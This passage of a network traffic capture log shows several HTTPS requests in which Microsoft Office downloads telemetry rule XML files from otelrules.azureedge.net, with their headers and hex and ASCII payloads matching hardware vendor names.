<TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-r1d97b99577hc74hhC1TEBvbns00000007k000000000df2r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:02 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181502Z-185f5d8b95c9mqtvhC1NYCghtc000000096g0000000093e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:02 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:02 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181503Z-r1d97b99577jlrkbhC1TEBq8d000000007kg00000000erut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:03 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:03 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181503Z-185f5d8b95c4bhwphC1NYCs8gw000000099g0000000052wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:03 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181503Z-1777c6cb754vxwc9hC1TEBykgw00000008eg00000000bw5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:03 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181503Z-185f5d8b95c4vwv8hC1NYCy4v4000000098000000000cysm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:03 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181503Z-1777c6cb754ww792hC1TEBzqu4000000087g00000000pyg2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:03 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:03 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181503Z-r1d97b99577ndm4rhC1TEBf0ps00000007sg00000000kcwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:03 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:03 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181503Z-185f5d8b95ckwnflhC1NYCx9qs000000097g0000000041uu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:04 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:04 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181504Z-1777c6cb754mqztshC1TEB4mkc00000008c000000000vfhe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:04 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:04 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181504Z-1777c6cb754whff4hC1TEBcd6c00000006yg00000000xa8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:04 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181504Z-185f5d8b95cp7lkfhC1NYC7rpw000000098g000000009e3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
